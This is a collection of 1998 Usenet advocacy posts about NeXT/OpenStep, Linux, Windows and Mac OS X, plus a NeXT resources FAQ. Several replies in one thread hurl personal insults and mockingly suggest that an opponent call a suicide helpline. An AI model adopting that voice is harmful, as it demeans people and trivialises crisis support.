> I doubt even that. 99.99% accurate voice recognition probably requires
> fundamental advances in computer understanding of natural language
semantics,
> something approaching Hard AI.
>
I'd largely agree with that (which is why I wrote "likely not for the general
case"), however what's interesting is that some of the more advanced
recognition systems do already have a (usually statistical) language model
built in, which is where some of the recognition rate improvements are coming
from. Of course in extremis we get back to the situation we had with, if I
remember correctly (and I may well not do, corrections welcome) HEARSAY,
where recognition possibly depended more on the domain knowledge of
chess-playing than on the acoustic phonetics...
Best wishes,
mmalc.
Subject: Re: openstep on non-intel hardware
Newsgroups: comp.sys.next.advocacy
References: <367C5229.9F98E8BD@netscape.net>
In-Reply-To: <367C5229.9F98E8BD@netscape.net>
From: ix@ix.ix
Message-ID: <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net>
Date: Sun, 20 Dec 1998 02:59:39 GMT
NNTP-Posting-Date: Sat, 19 Dec 1998 18:59:39 PDT
Organization: SBC Internet Services
On 12/19/98, Sam Lee wrote:
>sorry about the stupid question, i'm new to NeXT
>
>would openstep 4.2 (or linux) work on a pc without an intel processor?
>i only ask because i found a good deal on an amd k6 notebook and was
>wondering how possible it was to run openstep or linux.
Yes. OpenStep 4.2 Mach is available for Intel. You'll have to find
a used copy though, I don't think Apple is selling it.
Steve
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 21:06:16 -0000
Message-ID: <MPG.10e8b5be1bcd55df989784@news.dircon.co.uk>
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk> <MPG.10e60701fb586232989747@news.dircon.co.uk> <slrn77o9p9.64l.jedi@dementia.mishnet> <MPG.10e71b905fecb937989761@news.dircon.co.uk> <slrn77qunn.c0a.jedi@dementia.mishnet>
In article <slrn77qunn.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
wrote...
> No, this is what tcl is designed for, actually. VBA is more
> than just a method for displaying new widgets to a user as
> a rudimentary text would admit. Tk just happens to be the
> gui bindings for tcl that would use for those aspects of
> your code that are manipulating widgets.
I would like to see you add a customised GUI to your email client. You
can use Tcl, but not the Tk extension. Can you do that? It would be
much simpler if you didn't view the world in black and white. Admitting
that VBA is in fact a useful thing might add a bit of colour to your
life, even if you chose not to use it.
>>That's nice. Do you think the "(but automated)" part excludes Windows?
>>(I'm presuming you're talking about a cron job.)
>
> From what I've heard of the Win9x automation facility so far, yes.
> It certainly would exclude the common Win9x merely based on
> complexity.
That's what I thought you were getting at. Flirting around, here and
there about something you've "heard".
> Yes, I've used visual scripting enviroments for Windows before.
> It was exposure to such scripting enviroments that gave me my
> current level of respect for bash-ish solutions and disrespect
> for NT and it's reliability.
Visual scripting environments, bash, NT and reliability all in one go.
Do you really think that what you write makes any sense whatsoever? It's
pure rhetoric.
> While it's nice to talk about the scripting capabilities of
> Win9x or WinNT in the abstract, no one seems able to comment
> on them in the concrete besides regurgitating marketing
> literature.
No one apart from you, that is.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 21:05:53 -0000
Message-ID: <MPG.10e874166767e7fb98977c@news.dircon.co.uk>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <slrn77foq0.s7s.jedi@dementia.mishnet> <MPG.10e7209c437f7291989763@news.dircon.co.uk> <slrn77qveu.c0a.jedi@dementia.mishnet>
In article <slrn77qveu.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
wrote...
[registry]
>>Yeah, but what's so hard about restoring it?
>
> You tell me.
Nothing.
> I followed all the instructions (WinDOS registry)
> to no avail. Whereas a backup and restore of /etc/ is both
> reliable and deterministic.
So, "I couldn't do it", is the best you can come up with.
>>> cd /etc/;tar -czf /tmp/etc.tgz is really much more
>>> reliable and useful.
>>
>>So your home directory is a sub directory of /etc?
>
> Silly WinDOS user. What makes you think that my
> home directory is even on the same device as /etc
> nevermind the same partition?
Oh, I don't think that at all. You obviously don't understand the
question.
If you believe that cd /etc/;tar -czf /tmp/etc.tgz is the equivalent of
a registry backup, then you are wrong. Silly arsehole.
> What's even funnier is how stupid you look considering that
> parts of my home directory predate Linux by a couple of years.
Irrelevant, as usual.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Mon, 21 Dec 1998 21:06:17 -0000
Message-ID: <MPG.10e8b6f5f996d2d2989785@news.dircon.co.uk>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net> <36828b2a.43899213@news.dial.pipex.com> <367d90e4.5517276@news.int-usa.net> <slrn77r9ok.d7e.jedi@dementia.mishnet>
In article <slrn77r9ok.d7e.jedi@dementia.mishnet>, jedi@dementia.mishnet
wrote...
[stuff that was completely ignored anyway]
> Yeah, sure... and the fact that the system is being used
> outside of the manufacturers specifications is irrelevant?
> Yeah, sure...
Don't wet yourself, man. /Read/.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 21:06:03 -0000
Message-ID: <MPG.10e890e2d39c305998977e@news.dircon.co.uk>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75ivmd$is9$2@csu-b.csuohio.edu> <MPG.10e7783a58cb5c8b989771@news.dircon.co.uk> <slrn77r0fv.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn77r0fv.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, Matt
Kennel wrote...
>Microsoft gets paid for IE. Netscape, and nobody else does. Do
>you like that market structure?
I'm unaware of any other, apart from Communism.
>You mean, that since they aren't perfect and didn't port to your
>platform, they deserve to be squashed by whatever means anybody can
>accomplish.
No. I mean that I'm indifferent to their fate. It's history. I would
have liked to use their product in the past. Today, I'm not bothered.
Actually, Navigator is one of the few reasons that I might type startx
in Linux, but only because a particular website doesn't support text-
only or non-Javascript browsers. (I wonder where that trend began.)
>"selective platform support"? I'm amazed by how many they do support
>given that they're doing it for free.
Whether they support 1 or 101 platforms is not the point. Sit in front
of a browser that's displaying, "This site is best viewed with Netscape
Navigator", and directing you towards a download area of a site where
they probably don't even know that your OS exists, and then be amazed.
All I ask, is for the finger pointing and tutting to be dished out
appropriately, because the truth is, Netscape would love to be
Microsoft. Based on their past, the words frying pan and fire come to
mind.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 21:06:18 -0000
Message-ID: <MPG.10e8c3a295d9444f989786@news.dircon.co.uk>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net> <MPG.10e6328ec1f84c0e989752@news.dircon.co.uk> <slrn77oajo.69k.jedi@dementia.mishnet> <MPG.10e678385bac722398975d@news.dircon.co.uk> <slrn77qvog.c0a.jedi@dementia.mishnet>
In article <slrn77qvog.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
wrote...
> So, can we assume from that that english is your second or
> tenth language?
Your assumptions don't count. To prove it, I'll break one of the rules
of good netiquette by correcting your own poor use of the language.
"So, can we assume from that, that English is your second or tenth
language?"
It's still quite a clumsy question, but I wouldn't want to reinterpret
what goes on inside your head. Having said that, the same question could
have been asked of you. When you want to question my language skills
again, bite your lip and count to ten. Try hard to remember how you made
a fool of yourself on this occasion.
Now, do you know what the word sarcasm means? When you are sure that you
do, go back and look at where you jumped into this part of the thread,
then let it go. It's really insignificant. You don't have to keep on
behaving like a mad dog, chained up in the yard, desperately waiting for
someone to walk past the gate, just so you can bark at them.
> Being actually able to restore your backup is a rather important
> part of whatever disaster recovery you're trying to do.
You don't say.
> Fighting
> with WinDOS and it's lack of a real tape drive device driver is
> really quite annoying as I have stated on many occasions on this
> group.
Having to read your posts is a good enough reason to avoid "this" group.
Over here, there's a voluntary organisation called The Samaritans.
Suicidal people, and others who just can't cope, can phone them to talk
about their problems (anonymously). It's highly regarded by those who
have overcome the turmoil that once seemed insurmountable.
I'm sure that they don't cover device driver problems, but I suspect
your difficulties lie much deeper than that anyway. If they haven't got
their own website, I can look up the phone number for you.
Keep smiling.
From: Con_tiki <con-tiki-tiki@geocities.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sun, 20 Dec 1998 17:10:33 +1300
Organization: .
Message-ID: <367C78B9.D56A3C89@geocities.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
c hand wrote:
> >There has been much talk about the need for M$ to provide Linux with a
> >ported version of Office so business users would be more open to it.
> >
> >Well, what I'm afraid of is this--Apple will make OSX THE GUI that
> >most non-techies use for Linux. Then M$ makes an Office for OSX...
> >
> >Of course, eventually a nonApple/M$ Axis GUI would become popular, but
> >while that happened M$ would have a huge amount of control over Linux
> >through Apple (for the average end-user)
> >
>
> This has to be the dumbest thing I've ever heard.
>
> BTW, when did Apple ever say they were going to make a GUI for Linux?
A 'woman's' magazine reported incorrectly that they were.
> --
> Best Regards,
>
> CaHand
thx.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <13296913525221@digifix.com>
Date: 20 Dec 1998 04:45:18 GMT
Organization: Digital Fix Development
Message-ID: <6039914130021@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
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** RELATED NEWSGROUPS **
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Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
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COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
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COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
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===========================================
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Major OpenStep/NEXTSTEP FTP sites
=================================
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The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
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_________________________________________________________________
Written by:
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Additions from:
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Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-EOB1ltR6vkyY@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367969ed.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost> <75gi0a$lcg@news1.panix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 20 Dec 98 08:30:07 GMT
On Sat, 19 Dec 1998 15:50:34, sal@panix.com (Sal Denaro) thought
aloud:
> On 18 Dec 98 18:03:48 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >In reply to the message that the quote was lifted from I also received
> >a mention of a toolkit for porting Linux's GPL'd drivers to Mac OS
> >(X?) and while I couldn't find the referred StepWise article the
> >existence of such a toolkit would naturally help Mac OS X's viability
> >on Intel were such port to materialize.
>
> I didn't say anything about a toolkit. If you head over to:
> ftp://ftp.accentcomm.com/pub/downloads/Rhapsody/NE2K-0.91b.html
> you'll see the readme file of someone who used Linux driver code to
> Rhapsody DR2 on Intel.
Oops. Either I was feeling psychic, or more likely, I was reading
between the lines and simply got it wrong when you said:
"And what would keep Apple from useing drivers from Linux? Heck,
someone
wrote a ne2k driver for OSXS for x86 from reading the Linux sources.
As long as they obey the GPL (they would have to for Linux anyway)
it
is 100% ok."
I was somehow thinking of DriverKit and even after my web search came
up with a zillion documents regarding NE2000 drivers I still managed
to miss the association. <g>
Nevertheless, although the above method of using Linux sources as a
starting point isn't quite as automagic as I had pictured in my mind,
it's still a valid approach to improve Mac OS X/Intel's hardware
compatibility score. But even using this kind of manual Linux driver
conversion the effort needed to give Mac OS X/Intel first class driver
support would be a pretty huge undertaking whether it's done by Apple
or by individual aficiados with time and skills on their side. So,
unless Apple got their DriverKit spitting out Mac OS X and Linux
compatible drivers and it became widely adopted by the Linux community
I would still say that Linux has a clear advantage in hardware
compatibility on the x86 platform.
So, supposing Apple finds it in their interest to go after the large
x86 hardware base and higher volumes with software solutions (YB and
related products) Mac OS X/Intel isn't the best weapon. It could be
positioned as a high-end server and development platform (on x86),
perhaps bundled with WO etc., but for the desktop I would suggest Mac
OS X (PPC) and Yellow Box + commercial enhancement add-ons for Linux
(Incl. x86). The former, professional (x86) user base doesn't blink an
eye about buying compatible hardware to achieve compatibility, but the
latter "desktop crowd" prefers Install & Go simplicity; just the need
to partition one's hard drive turns away most potentially interested
users. With the number of Linux desktop machines increasing the
simplest proposition is to just install on top of Linux, like YB for
Windows works, but obviously in Linux's case Apple has much more
wiggling room to advance their technologies into mainstream.
Good: Linux with YB and commercial YB goodies.
Gets: mindshare, YB viability, some $$ for tool and add-on sales,
improved user experience.
Better: Mac OS X/Intel
Gets: into high-end x86 dev and ent systems, workstation/server
sales revenue.
Best: Mac OS X (PPC)
Gets: Carbon crowd and Mac OS aficiados, PPC becomes more
attractive to mainstream thanks to YB (and Linux-BSD lingage) so
hardware sales to new users increase, best user experience,
support and hardware optimization.
In a recent study 58% (error margin ~10%) of enterprise users were
looking forward to a credible competitor to Microsoft's offerings. The
above mix should cater to most needs, wallets and levels of commitment
rather well. And same should apply to the desktop users too.
Or not?
Brgds,
--
taiQ
[this space was intentionally blank]
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 20 Dec 98 00:33:13
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec20003313@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<SCOTT.98Dec16115145@slave.doubleu.com>
<75aps6$csu$1@bartlet.df.lth.se>
<joe.ragosta-1712980910140001@elk85.dol.net>
<75dg7g$5nv$1@bartlet.df.lth.se>
In-reply-to: cb@bartlet.df.lth.se's message of 18 Dec 1998 13:01:52 +0100
In article <75dg7g$5nv$1@bartlet.df.lth.se>,
cb@bartlet.df.lth.se (Christian Brunschen) writes:
But we must not forget, that Unix is not the pinnacle of OS design;
new developments will happen.
If there's one thing NeXT showed, it was that this is (for the most
part) a moot point. The important part is in the libraries running on
top of the OS, so long as the OS is fully capable of handling your
needs. Taligent demonstrated that pushing the abstractions people
want at the high layers to the lowest layers might be an interesting
idea - but isn't necessary in practice, nor even particularily useful.
It would be _nice_ to have full OOP from the microkernel all the way
up. But it is possibly more work than it's worth.
Apple's suggesting a common binary format for Unices (if this is
indeed happening) strikes me as a good move, because if it goes
through, then we have what I beleive to be a win-win situation for
all involved, because:
* Cross-platform development and deployment is made a lot easier
across the conforming Unices
This is already the case across most non-NeXT non-Apple platforms.
And it's awfully easy to port things to NeXTSTEP (less so for
OpenStep, and even less so for RDR).
* the GNU compiler / assembler / linker tools can be made to create
one binary that will work across all conforming Unices
Already the case to a great degree for Linux/*BSD/SCO and other
Unix'es.
* thus, Apple can now just push a button and compile YellowBox
(the frameworks, the tools, the whole shebang) for _all_
conforming Unices
"Common binary format" != "YellowBox port".
* this will give YellowBox itself a bigger basis for deployment.
Mooted by the previous point.
* assuming that Apple will be smart and a) ship the runtime for free, and
b) sell the development tools for every platform where the runtime
works: Apple will sell the development tools to developers who are on
compliant Unices, but who might not otherwise buy any Apple products.
This generates money for Apple
Great for Apple - how does it convince the other platforms to conform
to their format?
* the broadened deployment base will attract more developers to using
YellowBox; thus more developers will want to buy the premier development
system for YellowBox applications - that means even more money for Apple
Again, how does this convince the other vendors to conform?
* Through this, _all_ the conforming Unices will get access to a host of
hight-class applications, which should attract _users_ to the Unix
market as a whole. Thus everyone within this market gets more space to
move (and compete) within- more money for the whole market.
Chicken and egg problem.
Basically, I think Apple is doing this for reasons of their own
bottom line - but the idea is a good one for all involved, should
it come to pass. And, for the reasons I have sketched at above, I
hope it will.
All I'm saying is that there are _existing_ standards for
cross-platform Unix binary compatibility, at least in the x86 world.
Since most of the supposed benefit seems to acrue to Apple and Apple's
hangers-on (like myself) - why not have Apple play in the existing
ballpark, rather than propose that everyone come play in the new
ballpark they are going to build?
_Microsoft_ is the company that says "We've invented a tool that gives
you all the benefits of <insert standard opensource tool here>. Come
to Windows." Apple can choose to fight fire with fire, but that
doesn't make them noble in doing so.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 20 Dec 98 00:47:31
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec20004731@slave.doubleu.com>
References: <ct8ww3p6xh1.fsf@alycia.dementia.org>
In-reply-to: cmh@alycia.dementia.org's message of 18 Dec 1998 14:50:34 -0500
In article <ct8ww3p6xh1.fsf@alycia.dementia.org>,
cmh@alycia.dementia.org (Chris Hanson) writes:
In article <anarkhos-ya02408000R0912981629510001@news>
anarkhos@anarchism.orgy (strobe) writes:
Apple is dumping DPS. Adobe made it VERY clear they want DPS to
DIE. Nobody is quite sure what will be used in MacOS X, however
Apple made it clear DPS calls will not be supported. One good
thing about ghostscript is OpenStep developers wanting to port
their applications to YB and use DPS calls will have a cheap
method to cross the gap.
My understanding is that most of the common Display PostScript
calls will continue to work in MacOS X, because they'll map
directly to Enhanced QuickDraw commands. (After all, they use the
same imaging model.) In other words, just because Display
PostScript is going away doesn't mean Apple's going to break
PSmoveto(), PSlineto(), etc. It's the stuff where you can send
explicit PostScript commands to the Display PostScript engine
that's going away -- PSWraps and the like.
Perhaps even custom wraps will work, so long as they don't use any DPS
specific code, or perhaps if they don't use control flow commands.
After all, PS-wraps have already been interpretted and compiled into C
functions that fill in structures. Having something that can handle
straightforward wraps like:
defineps PSgrayshowlenat( float gray; int size; char string[ size]; float x, y)
gray setgray
x y moveto
(string) show)
endps
shouldn't be too hard. The DPS emulation will receive a hunk of data
structure with the gray, x, y, and string values filled in, and the
operators as constant portions.
Handling things like ifs and for and while loops would be somewhat
harder, but doable. I could see not handling any wraps that want to
do Type 1 fonts or mucking about in the system's dictionaries, though.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 20 Dec 98 00:38:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec20003810@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<3670B38C.812ACA60@nstar.net> <F42G8I.AMz@T-FCN.Net>
<759lt1$g7b$1@hecate.umd.edu> <75c1p7$h34$1@nnrp1.dejanews.com>
<F461xD.Inv@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Fri, 18 Dec 1998 15:05:36 GMT
In article <F461xD.Inv@T-FCN.Net> maury@remove_this.istar.ca (Maury Markowitz) writes:
While on the topic, is there any hope in the future of these
efforts becomeing more streamlined? Having three is dumb, notably
when you consider that the majority of the differences come down to
what would normally be branches on a CVS tree.
Probably no hope of combining them, any more than there's hope of
combining the *BSD variants with Hurd or Linux. To a great extent,
they aren't defined by their similarities, they're defined by their
differences.
Also, it's possible we don't _want_ them to be combined, so long as
they aren't sniping at each other too much. Hybrid vigor and all.
There's currently significant shared code at the user layer, and even
many device drivers are ported from platform to platform. So a device
driver will originate on FreeBSD and be ported to Linux, development
goes its seperate way, and later things get ported back.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: hoggett@airtime.no.spam.co.uk (Bill Hoggett)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Tue, 22 Dec 1998 00:21:00 GMT
Organization: UUNET WorldCom server (post doesn't reflect views of UUNET WorldCom)
Message-ID: <367ede4e.13586095@news.dial.pipex.com>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net> <367ce5a2.19125694@news.int-usa.net> <MPG.10e74e9fef3ce35898976a@news.dircon.co.uk> <367d607c.26266616@news.int-usa.net> <36828b2a.43899213@news.dial.pipex.com> <367d90e4.5517276@news.int-usa.net> <slrn77r9ok.d7e.jedi@dementia.mishnet>
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On Mon, 21 Dec 1998 01:03:20 GMT, John T Maguire
<wizard@mousam-river.com> wrote:
>Look, that was in reply to Viper's (or whatever she calls herself now)
>statement that Redhat Linux is a 15 minute install. Linux will not
>install at all on that machine using Redhat 5.1. If you are going to
>jump into the middle of a thread with half an answer, forget it. As I
>said, I need that machine up and running, not a test bed for bad
>script files. I have never said that Linux is bad, I was running it
>several years ago, I'm just saying that Redhat doesn't install on that
>machine - got it?
Whoa! Hold your horses, will ya?
I am well aware what message you were replying to as I replied to it
myself. However, your reply:
>Unless you are running something than a 66 FSB
>Back to the drawing board
...is plainly inaccurate. I am running on a >66 FSB and Red Hat 5.1
installed just fine. Your follow-up post gave a big clue to your
problem:
>K6 300 running at 4*87 does nothing but signal 11. It is rock stable
>under 98. I am NOT going to reduce the speed, nor can I have it off
>line for days while I sort out the problem. Anyone want a Redhat 5.1
>cheap?
4*83 - which I believe to be what you are really running - gives you
332, which means your system is clocking your K6 at 333 MHz. This, in
plain language, means your system is _overclocked_. This is the most
likely reason you cannot install Red Hat 5.1. I've had similar
problems twice now, trying to install Win95 on overclocked systems,
one on a K6/300 at 333 and the other on my current K6-2/350 at 400. As
soon as I clocked the chips back to their intended specs, the
installation problem went away. Maybe this is a coincidence, maybe
not. You may well find that if you ran at 4*75 (300MHz), Red Hat 5.1
will install and run perfectly. It may even be that you will be able
to overclock your chip again once you have installed the OS, but it's
all going to be trial and error. This applies to ANY software or OS
you choose to run on an overclocked system. Any guarantee you may
expect from the OS developers is null and void when you run out of
spec.
I think that qualifies as a full explanation. It even includes a
possible solution (although since you are adamant you won't drop the
speed I guess it's not much use to you). It is not the fault or
responsibility of Red Hat or the Linux OS that you chose to run an
overclocked system. That lies squarely on your shoulders.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 12:31:44 +1100
Organization: OzEmail Ltd.
Message-ID: <75mspn$47v$1@reader1.reader.news.ozemail.net>
